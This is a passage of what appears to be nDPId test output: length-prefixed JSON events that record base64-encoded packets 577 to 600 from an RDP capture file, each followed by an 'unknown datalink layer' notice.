+00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":577,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":653866,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gm0AAfwYpAMCoAo6sEAK5DT3NDkebvub5vQVRUBj4sg7qAAAXAwMAMAAAAAAAAACwppLYAT7YzdcyUqFRRtlzfAzaAlYRXz5JEeu2Rv22FHqeFLDLFTljyQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":577,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":578,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":654012,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BtxHm78bUBAf\/jw6AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":578,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":579,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":654125,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9BtxHm78bUBggAKLyAAAXAwMAOOAIO32NJwvCLr8DaUIs1vgEHIm+AC64aAk75LfYA21gO+IMQRkVFnMV9\/wm6QV8sQUqv6xx+V1w"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":579,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":580,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":654233,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgnEAAfwYkO8CoAo6sEAK5DT3NDkebvxv5vQVRUBD4sgEiAAAXAwMGbwAAAAAAAACxW9cRM2lhsqri1t5nrZiK+3bWii9xGm5IGBcosxwDwmvGO3TLRP0+qc\/6CnOfi8NBsLZ1MKfsw1l4zc3nVoUOhwgJgqhEmnf7p7JDNb0In8+o+jvGCZF9NnFQ\/OS7M1ay4FNgxMT7sAcBa+27Dmgfsl+J+w98Le8SK9IZfUdLGtEEw86CxuLjZcqTNte6p1GaX6YNv2GGK8tyHY7VvboR2rcfHhd7p0kBz+jgo1Rf1mjNTfPvpIFxbzTMDEUPsiZkAQARhB3toUwL8328bWOnCJ+VR1yyOD1HcVITJiS\/oDYi41bgT1pMOpoP3Xc9\/ltQPb3c5uibICF6GE8oQzQVH2UopcE++HBGy\/PNyMiIwkg7l\/3bnedgnPyja9Mk4dV+gjjHw0iwPYTycEDasvgfSZjh+N0eg+EwH4\/xHnROisMWuDvJJ9ba2n7DE7by6iMQunPT3EqG0T108DEMtZwOmqgRNX32B9O8dzIRpTY5uYOSzCJyX1lVZAFuhKbb+SdCBElMV1\/eNXbgQOslt9cYvr6xDI6MaMzRjT\/Q4IihvVppFe5qx2tEPmuV7LJDIdZriS3BXL8CmFLK30Wgnhd2enHEvH\/wA1i32Cccg2CalmIqIx0xzw7uqKFdo6mTln3w1fTPG+\/rAJk2bTZi1eyVZLjz66au9JoEOo8GESc4ukx75fOgLc3J7g6Sz319G03ki\/WR0q8lWMH3sHkv9tdpBlvVczyH3jMDJ3Fjwy2Bo4cAPmuhDtxKLgV16raDMFAi0sLB5pQUalte3ShN6cJ27tZtRBTtfkAgGOoMrB\/rwp3O8r6iUBwcRSGKaMgrbotte9ld44swImQN87su76Etigcv\/lHFfjUrNsmZYxk9OjCL8VCHSHJojFaJHxNbBdB+EI01c8n5r\/NWpTVWSp6RXJ+dJZJkf9aOSfVMHW3iGd2j\/chYgjCyHzZP1DC5NxHAxgvatG9XPxG40t+IbIUtZ6WwZFKhXn9JhfrTjpUhlI0wjdskRv604MNqDTrVLLVcHvGGuQVEnuEWaq9NQavBc0nKJI+sngpL3cul2pqIWbuwcu5eDyCD7a+pHRPiGsno+iqgjJVlkYspsLV8qhPhz+4+b3p9jHJUL6tW738vg78s28Mgb2ZOdV4w\/eC73Mio2XOA+elUf+rTFfhnE1Qrkboiqa2aBTA\/NnFCAhLY+okZVcGtRVO8G2vHGcon86b\/WBudxLP+lRO+4rHMw8g4V+BsdpqmyrUUUqmhJtzmBKa0JqHOEea8IKGNKZtylhyyBQX5D9Y4bkjh5BL0Rnxvpf7BqGvGf1mgW\/GlEze64CzmDlTkXR3mDYvgfuyizYeiy3b\/kyDoaAUGTi+W6aws2nHMDqYwahvg+XWR8iC2BAtaGPD8EwOqofwTaoJL8sQKrrsJcqPbDrMBUJKrBJCWnLvvYV4MCMi31tKsdXGGaVwp7FZlLUNSX5vyYfZeutjAOeCq1HUds7vK3ILJN6E+7bkviNYFTCfS7ECxNqn5g6hqTb0ZQhW8UrxMHwovk5l9mBWLnmJlkuZf2cRNsgl07BrN\/\/+qOx40rbynbfNBrfpBeDZhi0pKtEKS0f0KWCfennvAir+Q23DzoYKqHx8veVwKLj\/CtEGhVrnN0dpLWadkXXhBvEypSP3UuBOd9KdpaPnEy0bM+Ss8Dtix"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":580,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00859{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":581,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":654275,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgnUAAfwYnuMCoAo6sEAK5DT3NDkebxBT5vQVRUBj4so\/hAAAJfW8hjNAqZLctxCNf0ozAcnJJLO9VKQvL205KFar5ie3COZdN4qSbm1s3a4gFDr5dzFR5H5eRzU9RhYhiVmcrxiodj0ygx04DwAfykLv4KyDyzxr062VVT3tTynymKZ3FRfuFboLlyL3tex7S11k+1z3nzFmaxcfy4HwKJ9KGrwwUGmgguzE3XJUyNnoKqsdMeIS+AiAqxdb+CWwwAYLELFgaNrA\/G4puTUTX++e+6XeamQEc8Rcx90si+i9r5LCLySzOYccl8wyNBLUKi3vMnjR6EAlLqK43raYh5Ea9qESKU7IkamFvSx6clvRHZyulXWoprMoJR6EhTYhn1HiHpO92eWUPFD0w374ocKh54Tlj0xJ6rRwAWVRbvo+b84hXxzFZdUeAeLi29lEHwtAt0GpesdUnSkjTjWn939MRPLkbFFDFz3KcWjB6u4w15yKuztZcw2iPzi6F485a0Um5codp\/svv47XYUNlHeKMzTz24zJz96HxsZRrY"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":581,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":582,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":654321,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BxlHm8WPUBAf9DWTAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":582,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":583,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":654501,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gnkAAfwYo\/cCoAo6sEAK5DT3NDkebxY\/5vQVRUBj4sta\/AAAXAwMAMAAAAAAAAACycpPdf6BMXHQwEHbV58Ru9tHe9nAE7X\/NQgvMYLbuxXM9kqcH5w6tlA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":583,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":584,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":654543,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BxlHm8XEUBAf\/jVUAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":584,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":585,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":654726,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9BxlHm8XEUBggAKygAAAXAwMAMOAIO32NJwvDVSQyIbKjl1s7C47\/4tlX3S+xUFsjEVqEReGNITo3sBL7Av5JjwajhA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":585,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02070{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":586,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":667698,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgn0AAfwYkOMCoAo6sEAK5DT3NDkebxcT5vQVRUBD4su0iAAAXAwMGbwAAAAAAAACzvRxalDKPLAYO6q5tt1PKTQpP8i6aIpr1RMUOdvn3vYjae95pOZ5nh+dmiDAu0zVRcG4jaT5z+Omj2yiqiR3VwyZV4+QEJEo00m3pscRHqdbHT2wjrwG4v5rM1G68hNg3AlqvGVqsEOLYF8BPdzcGAphnnR1U9lJ\/McnJjhyAcg3lhKMz17qHK\/jOnO5GDLbGbGH6RN8PNUHa29BxO3Rv7mVMd3LgjxTpDOBxAtqLS109T6xHPXwk5oTs9QN6wxpD\/bhBDV7IVlBGkUklYxVWSJa4sSQbMpJYnmI29Tak9tBnKlEBPiUu+i0rKIQg1Q6yh\/upXbd0yfvR7gTxOY+dWMuh7pWFOJXxechKOyYZRTX4me9HHwCN6hrou3cFPOv0QOQe2DSChVTGf0d0+GtUd+WRfSgsZQH4qpj+J\/n13qejYUoA64eLCtY9bGDvHg5\/FdhdZV3owi7pIGgikG2Oua+QM5GfWwbaR9FFwc1Oj6h2LtQtLPOM6Dy8EYYsteA+1YVEc8d4tZIu3bbTBtZwqicPEXsC37NLbBISus0uJ8QeSZeVwGARuIBKAJbByIdSS2C5cBf0B2VAJE6K3K8usL+lArqfLE91VR1GdlpJrjGqgl497lIl9\/rJMQhkTfYpyo3VyzkUfP1Q8x\/iVVL6HjFITbl4x121+yIch6WahhnvWweyHMJIcXMQKHzMJBuQh8KMMEj6vZ3gY0vGEJkBNZU43t4tWOwVju3rBusd6d53dlKSNFMMHQij+N12UioouSXgOxZUbP+iz4Dq+eaaqcIPXGiu6A6NKY+hruedw+2dJy\/ndLZESahi2SbMwp98MIkpd0Rf0723vTRWb3APX8dGUa4s4FiJ16e19O1Oj+2ffoWvIzqNl5ehBYC2J8d5T\/LgNymaPCiN+5yQzdno79xQm39EIq2zxk20UsNEtN7S+HR6+uvolNXuqe\/YoggcOOMOsxHCbFqUcjtsDbO4DkBzqizozhKRDM2fhXPguJcAwrKsW081j2XzPhxyphqR9UPF6HpgYpLC5yscBzTjFDT64aVPfIvDXfpM1p1ymGYPd+YpmNxo1mBix8xiShma0KFjsM+YRR0FHkc1zYkkRG\/+JNO05NDk3pRiIl\/OLkuTA7yg1jqYWdXRJDpbz\/dLb8u99xHI6ml7KXWhZU83WfJVBL8mZJklYTXrJZEAsTofkLybw3+7bPHPCk3sLCONIGeIOZakesPJOYR+T4zRkGJxjlH1xFPLwrZKKV3\/neP1T+8ZPbEfQ0z4CpZqvuFF0Ub7Gd4lk89s91oS9a4MSuugOzcX87Ng6uixXNenz8kY+fnlBNX6hgB04CdzSjrmv1zOSo2ruX7K3f\/0Sm0sLlfqUw\/Zlmo1BpJA9UjgIKu6Xvrqsul5efriVMNzLt0HJvyjhgoZrIXK8kI53H5UTA4Z\/TSUE99XRkXUhn05rw7tT2V6jnkZIzT+BNqQcwcMlAS4vQNN+lYoex+apTnknZ6XftLt2Q9Mp7kdN+QBkl+zUdeotxTIwQu5xRWHYYkHNg98VQsvzq7fsJDAPSwu9Hj29gekJmikKvhoByRO\/ZPCDTwe6E7MuupCcofgNg98a2FSBARDlUeyXGztB2KW\/yGKrANOiI3iSWS6CokSJCEojXCHpazjWeyJZg8VxCGD2wFVvcxnIjbwSkav"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":586,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":587,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":667751,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgoEAAfwYntcCoAo6sEAK5DT3NDkebyr35vQVRUBj4ssDcAAC5sHdMJ+fNEYlqtBmJNEmnUsXS+MEF1OxbwfichzCjEcUa28GFs7etR8AOnaeKuBPdI11556KlKFeElEIkKbp+sk1bNQL6Aws0PqXHIHMPylo3dFDxNk8mrmL3Uf1KXjrwkzSDgVTLzK1Gavg6z6wue91q+QYZgoPBYB+sSIc9936\/7p00hDBAWP9+CvK8Nl\/q47GGMwjq9PKi0vzCte\/aJVSFh70e+\/u8b8O2Nb9FhlLHpcuQ5tcJZUXRM+7Sxq7JB1Tl2rpQrWqSa4D8Iwj4mCB\/16mFr8PFi1CZefU4iuyufjMobJ2HxlY8hk3WKxbHSzigaOv4cDANl2QMxAgIXIT2YKHA3EG3caYiHed98Sw7SkbmvE00\/HwRIS6tLbpKhPnI1rsdug4\/sMXmQPHjWV9hlGkG6zz\/SqIAqYB7udrUpBDRMfyceSlLrVhTlbdEskfvb8Lanc8xr9sQCRNGdLDxM2PVYkdTjL6\/d4l8\/HGGtPa3xYkVyA8x"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":587,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":588,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":667787,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B05Hm8w4UBAfzC7dAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":588,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":589,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":667860,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1goUAAfwYo+sCoAo6sEAK5DT3NDkebzDj5vQVRUBj4suFGAAAXAwMAMAAAAAAAAAC0HN+UDrzcubOXURlXm8DtqH1W8Hwn9Mw+FJ4tDtsJU6ctV2Db9Ii0yA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":589,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":590,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":667893,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B05Hm8xtUBAf\/i52AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":590,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":591,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":667997,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgokAAfwYpLsCoAo6sEAK5DT3NDkebzG35vQXDUBD4QFe+AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":591,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":592,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":668101,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1go0AAfwYo+MCoAo6sEAK5DT3NDkebzG35vQX4UBj4CzKxAAAXAwMAMAAAAAAAAAC1bEjydpiGPOxlxFEIpi4mD4GJClSZM4quTaIBd8IQLZYAHCcKcd6NZA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":592,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":593,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":668140,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B05Hm8yiUBAf\/i5BAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":593,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":594,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":668292,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9B05Hm8yiUBggAHBcAAAXAwMAOOAIO32NJwvEd4nqbnpietHS2CtvrWN0Exk09ksCVYSBczjuAeK4DHqn79D8z0GMRWylxXDrJ5aY"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":594,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":595,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":668329,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgpEAAfwYkM8CoAo6sEAK5DT3NDkebzKL5vQX4UBD4C6C0AAAXAwMGbwAAAAAAAAC2\/WU2mdpuIvjVN8mK4ct9ttui+0a3dEYf\/cSFUglRp0RTcZ0+Z++ofEk4zVt+tYfYXkrU58q17QLLrtcYgbo5JU46ho2YEakePJNV+0SFqp8fmyHY07eJrHnRtUcM+i6gfxW\/2n45l60eF1+8oWGNsU46OqZQqdWVyQAa56NakUOrPHWk76tVV39B469engK7pjgIP6hOSkHIDlKSSw4gFfFaYuNsG\/bhqZRvxK8rEe8E6Hgy7+i1R3bHlsinTZYEBey5v1JS8l+1i9rN0AsPT4+Ag+6aRK2dLQn0LKyXVDH\/zYlIKowkxpIVq\/ReSLsZJGliYHNzK9A\/U4SkHMYB7uXwy3RwVbudQALQk\/MgS4dcfPT4lfRdwKQHhmr8IMdKZ2pF6Omyo1hkEqtFZCXlY3Pbp1I4Pj5M1YvQabrWJ2QyLW9yT2I96wfuksbWW86ToDR+0FyMk\/rhdyxQhF60ebD6S0my5uz1ZrAjQTY8BXGDV5QEpkNnXffoTyhtor9hv2GhO13RxDsajV8FOqhGSzBX+QGmsHIdR92gUCu14hqYoiFxAhQBaTKf\/M1tUwROgtjfndgieBO2efArQDTE2q3Yh2wSNGAqmHDhpJ5wcrOFgXD2QP+FhU6MsHX98aOflAMpx8YlrZLaL3YwO3nfvd0JCvo+QzqX4HWizRBoRb4ywSWgS+FkrWCqnFwuWfMuERmyHVZN6i8OcwTBi\/Que7KIjlj\/zadWtqJBnlPtnjkLWNEoHSelpNTVWQIfK\/LOy+Illeu6rN1VIjJOzmJF077sVCFUfSQYSUITSqq2LtAt4V4QEPLYM8m6nu2+mTSOtBhJE9sO+ok1Nhye0wCMqLzw9U0jMDZSMiUNtRw8GaGAbZ44HcLoUwnvAoew7xBYAANoMOY9Ucsi\/9aUZWFRByQieNP\/A\/aPy+JDtuZt+LxUP7Pm8+YWO\/w0IZt4WXl7s3q5nhYBVKFAm2135mBd0Zf3tDZz3kSthSEFd\/zPGI3bV8txHRC0aiTQHM7mJ07VczBbzBVmPvMigBCa19hIHfDUp115HeqMVQ5qMRluI1RrpUI+I0r1+E72AyZvg8aME4tlo0hWkH0q84scDBImuWm4CXTefHOg5F2ZAu56Ri7iUGvSe\/EyHi+XRtFPZut12tLs20i3TNIobq2h5NvYlJUbVW10TVNXC2fFXuOzzqCyD1cCkibiFB\/Nzi27hHG02tixFmuUdxXru8nHCgf51KOsoEB\/N+L1M9HEW+M8bfV3Gu04JTcKXzuqDoGu2nFIaS89FSXiV+KJ0e8KnUK6en3Nscf83X7vysGst12EU05OuIftJek3hEO+P1Jsgy5NAfNJnZAmiZc6PWrVjFNTwCvYousK8HRsLm0tVm\/Og59Mziemc07PnyG6Ms8pNJaeGvGmag+RoS83m7Z5C0mCKD42OiuRWh0jOCb0zA02N7AZi1cmNmS9ej3KZxPptp5nb\/vOoUSxcxshZ\/lm880G3jSLnZPl6iI5JHjdOSEVtLIEeqAaAASwaxZg19xssdKeEm0r4VUnM46VpFcVOOfmhngSqtMrez+YToewn7EFspRllg8oomkaz0a5jjvzmdjAfntUieE4ai\/RbQ5qdCzRhpAIBL5kkdyp4OBj\/Zslv8xAxe11+qt8wyrR8rEeE1Pal6U3nhnMgkR\/ltOj"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":595,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":596,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":668385,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgpUAAfwYnsMCoAo6sEAK5DT3NDkeb0Zv5vQX4UBj4C9yLAACkDF\/ronm4T18H7o3CHUaU6E0o2Is56GfngGNFNMEDzMLSfc9dRM3BmTejoguWN0eBfUGqxYkFuUcyITHopqetX\/IgaKRZiR9Wdia3Iow5rDpwrUb2cwZSLQj8K9wApc\/MFcXrXLdX6uSm++C4HbdpA+3Ort9Qw+jc4wAQvESD77ZJTsTAILVmGhCLPYMNWUkKlhrTFCNoOI3vmexHh28BVmgl\/pyYoib1S834AifeDRvV8Anz15Lo+s8r9c2oe++r8lur3fBQddauEvKepuKSgHtIIn4CZk\/HkjC+7zswOzmj62FIzgUJhk2IlWVxKUAuJa499NxKKFmwTCNt5pL+j79d65qUNXVuXGtf3vXtRq2l5zyY06mNatI24Aq+9lx+GbGpiU9OV17tkmswvlq5uyXxwKquPJ7WOKOT7Q5pag5AU+UB6O2ETTDQIf47Cf+M84Dq2LIBjxC+hH4u1aZhXmD86jRfOUJKILObzKbztPB88fMw+kx8hjXx"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":596,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":597,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":668422,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B4tHm9MWUBAf9CeaAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":597,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":598,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":668482,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gpkAAfwYo9cCoAo6sEAK5DT3NDkeb0xb5vQX4UBj4CzPXAAAXAwMAMAAAAAAAAAC3otIL+HIiLRJu1is2qfqKFYBzFGSRICt9uT0yCzqO9YnzQqeMMPSoZQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":598,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":599,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":668514,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B4tHm9NLUBAf\/idbAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":599,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":600,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":668661,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9B4tHm9NLUBggAEKxAAAXAwMAMOAIO32NJwvFzFb+0zW3nOKdXmzJuJV3g1LO2QStJQAA68fZdOAtLDiVkRMIRBFD2w=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":600,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 